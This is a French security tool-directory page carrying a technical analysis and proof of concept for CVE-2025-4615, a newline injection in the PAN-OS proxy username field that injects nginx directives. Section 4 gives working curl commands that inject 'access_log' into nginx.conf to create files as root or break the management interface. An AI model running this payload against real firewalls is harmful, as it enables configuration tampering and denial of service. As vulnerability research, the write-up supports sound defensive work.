Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
cve-2025-4615 — cve-2025-4615 poc & deep dive | Kitploit
Outils/GitHubGitHub/sh00bx/cve-2025-4615
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationConfiguration AuditingPenetration Testing
GitHubsh00bx/cve-2025-4615

cve-2025-4615

cve-2025-4615 poc & deep dive

Voir le dépôt
il y a 4 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2025-4615 — Analyse technique & Preuve de concept

Vulnérabilité : Neutralisation inadéquate des entrées dans l'interface de gestion Web de PAN‑OS
Avis du fabricant : https://security.paloaltonetworks.com/CVE-2025-4615
CVSS 4.0 : 6.9 (MOYEN) — Intégrité HAUTE, Disponibilité HAUTE
CWE : CWE-83 (Neutralisation inadéquate de script dans les attributs d'une page Web)
CAPEC : CAPEC-165 (Manipulation de fichier)
Crédit : Visa Inc.
Date de l'analyse : 2026-03-26


1. Résumé exécutif

CVE-2025-4615 est une vulnérabilité d'injection de nouvelle ligne dans le champ de configuration secure-proxy-user de PAN‑OS de Palo Alto Networks. Un administrateur authentifié peut injecter des caractères de nouvelle ligne (\n) dans le nom d'utilisateur du proxy via l'API XML ou l'interface Web. Lors du commit, cette valeur est écrite sans échappement dans /etc/nginx/nginx.conf, sortant d'une ligne de commentaire et injectant des directives nginx arbitraires.

Impact :

  • Création/écriture de fichier arbitraire en tant que root via la directive access_log injectée
  • Déni de service — des directives invalides empêchent le rechargement de nginx, tuant l'interface de gestion
  • Corruption de configuration dans plusieurs fichiers de configuration système

Remarque : Le correctif du fabricant (suppression des caractères de nouvelle ligne) est incomplet — le même champ reste vulnérable au Cross‑Site Scripting (XSS) stocké car aucun encodage de sortie ni liste blanche de caractères n'est appliqué.


2. Analyse de cause profonde

2.1 Le point d'injection

Le champ secure-proxy-user est défini dans le schéma PAN‑OS (schema.xml) comme une simple chaîne sans assainissement des entrées :

root@kitploit:~
<element name="secure-proxy-user" optional="yes" type="string"
         help-string="Nom d'utilisateur du proxy sécurisé à utiliser"/>

Remarque : secure-proxy-server possède une contrainte regex (regex="^([0-9a-zA-Z.:/_-])+$"), mais secure-proxy-user n'en a aucune. Il existe une limite de 31 caractères, mais aucune restriction de caractères.

2.2 Le module d'écriture de configuration vulnérable

Lors du commit, PAN‑OS régénère /etc/nginx/nginx.conf à partir d'un modèle (/etc/nginx/nginx.conf.tmpl). Le modèle contient :

root@kitploit:~
#pan_proxy_comment %s

Le signe %s est remplacé par la fonction de la bibliothèque libpanmp_mp.so qui concatène le serveur proxy, le nom d'utilisateur et le mot de passe chiffré en une seule chaîne. Sur la version vulnérable, les caractères de nouvelle ligne dans le nom d'utilisateur sont transmis tels quels.

2.3 La corruption résultante de nginx.conf

Lorsque secure-proxy-user contient a\naccess_log /tmp/pwn3;\n#, le nginx.conf généré devient :

root@kitploit:~
  #pan_proxy_comment 8.8.8.9 a        — Commentaire (inoffensif)
access_log /tmp/pwn3;                  — DIRECTIVE INJECTÉE (exécutée par nginx !)
# -AQ==encrypted_password==            — Mot de passe commenté par le # injecté

La ligne 1 est un commentaire. La ligne 2 est une directive nginx valide au niveau du bloc http. La ligne 3 est neutralisée par le caractère # de l'attaquant.

2.4 Pourquoi c'est dangereux

Le processus maître nginx s'exécute en tant que root. La directive access_log oblige nginx à ouvrir/créer le fichier cible en tant que root. Cela permet :

  1. Création de fichier arbitraire n'importe où sur le système de fichiers
  2. Écriture de fichier arbitraire (le contenu du journal d'accès HTTP est ajouté)
  3. Déni de service si une directive invalide est injectée (nginx refuse de se recharger)

3. Le correctif (et ses limites)

Sur la version corrigée (11.1.13), le module d'écriture supprime les caractères de nouvelle ligne du nom d'utilisateur proxy avant de l'écrire dans nginx.conf. La même valeur malveillante produit :

root@kitploit:~
  #pan_proxy_comment 8.8.8.9 aaccess_log /tmp/pwn3;# -AQ==encrypted_password==

Tout reste sur une seule ligne, en sécurité dans le commentaire #.

Cependant, ce correctif est incomplet. Il ne traite que l'injection de nouvelle ligne. Le champ secure-proxy-user accepte toujours des caractères arbitraires (y compris ", <, >) sans encodage de sortie, laissant la porte ouverte au vecteur XSS stocké. Voir unit-43-xss.


4. Preuve de concept

Prérequis

  • Accès administrateur authentifié à la gestion PAN‑OS (API ou interface Web)
  • Un secure-proxy-server configuré (nécessaire pour que le commentaire proxy apparaisse)

Étape 1 : Obtenir la clé API

root@kitploit:~
curl -sk "https://<PANOS_IP>/api/?type=keygen&user=admin&password=<PASSWORD>"

Étape 2 : Configurer le serveur proxy (s'il n'est pas défini)

root@kitploit:~
curl -sk -X POST "https://<PANOS_IP>/api/" \
  --data-urlencode "type=config" \
  --data-urlencode "action=set" \
  --data-urlencode "key=<APIKEY>" \
  --data-urlencode "xpath=/config/devices/entry[@name='localhost.localdomain']/deviceconfig/system" \
  --data-urlencode "element=<secure-proxy-server>8.8.8.9</secure-proxy-server>"

Étape 3 : Injecter un nom d'utilisateur proxy malveillant

root@kitploit:~
# Charge : "a\naccess_log /tmp/pwn3;\n#"
# Total : 26 caractères (dans la limite des 31)
# Injecte : access_log /tmp/pwn3; — crée /tmp/pwn3 en tant que root

curl -sk -X POST "https://<PANOS_IP>/api/" \
  --data-urlencode "type=config" \
  --data-urlencode "action=set" \
  --data-urlencode "key=<APIKEY>" \
  --data-urlencode "xpath=/config/devices/entry[@name='localhost.localdomain']/deviceconfig/system" \
  --data-urlencode 'element=<secure-proxy-user>a
access_log /tmp/pwn3;
#</secure-proxy-user>'

Étape 4 : Commiter la configuration

root@kitploit:~
curl -sk "https://<PANOS_IP>/api/?type=commit&cmd=<commit><force></force></commit>&key=<APIKEY>"

Étape 5 : Vérification

Après la fin du commit (~30 s) :

  • /tmp/pwn3 est créé avec le propriétaire root
  • nginx -t -c /etc/nginx/nginx.conf rapporte : syntax is ok
  • nginx se recharge avec succès avec la directive injectée

5. Analyse de propagation

La valeur non échappée de secure-proxy-user se propage dans plusieurs fichiers :

Les modules d'écriture de curlrc (/root/.curlrc) et wgetrc (/root/.wgetrc) suppriment bien les nouvelles lignes, même sur la version vulnérable. Le module d'écriture de nginx.conf était le seul chemin qui ne faisait pas d'assainissement.


6. Évaluation du RCE

Des tests approfondis sur 11 vecteurs d'attaque ont confirmé qu'un RCE au niveau du système d'exploitation, autonome et provenant uniquement de CVE-2025-4615, n'est pas réalisable sur PAN‑OS 11.1.6-h7 avec nginx 1.20.1. Les trois obstacles critiques :

  1. Échappement de \x0A par nginx — empêche l'injection de nouvelles lignes brutes dans les fichiers journaux, bloquant l'injection cron malgré la tolérance de vixie-cron aux lignes parasites (confirmé en laboratoire : cron exécute les lignes valides entourées de parasites)
  2. Limite de 31 caractères — empêche de combiner log_format + access_log pour obtenir un contrôle du contenu sur les fichiers écrits
  3. Suppression des nouvelles lignes dans curlrc/wgetrc — élimine le canal secondaire d'écriture de fichier

L'expression "exécution de commandes arbitraires" de l'avis fait très probablement référence à des directives nginx arbitraires, et non à une exécution de commandes au niveau du système d'exploitation. Ceci est cohérent avec le score CVSS VC:N (aucun impact sur la confidentialité) et la nature du correctif.

Si l'un des trois obstacles était absent, le RCE serait trivialement réalisable via une injection cron.


Analyse réalisée dans un environnement de laboratoire isolé avec PAN‑OS 11.1.6-h7 (vulnérable) et PAN‑OS 11.1.13 (corrigé).

Télécharger l’outil
FichierImpact
/etc/nginx/nginx.confCritique — injection de directive nginx
/opt/pancfg/tmp/.tdb_conf.xmlBase de configuration modèle (injection XML)
/opt/pancfg/mgmt/audit/cfg-audit.xml,vCorruption de la piste d'audit
/opt/pancfg/mgmt/replaydb/replay.dbCorruption de la base de rejeu
Configurations de démon générées par XSL (authd, cord, useridd, etc.)Valeur XML conservée avec nouvelles lignes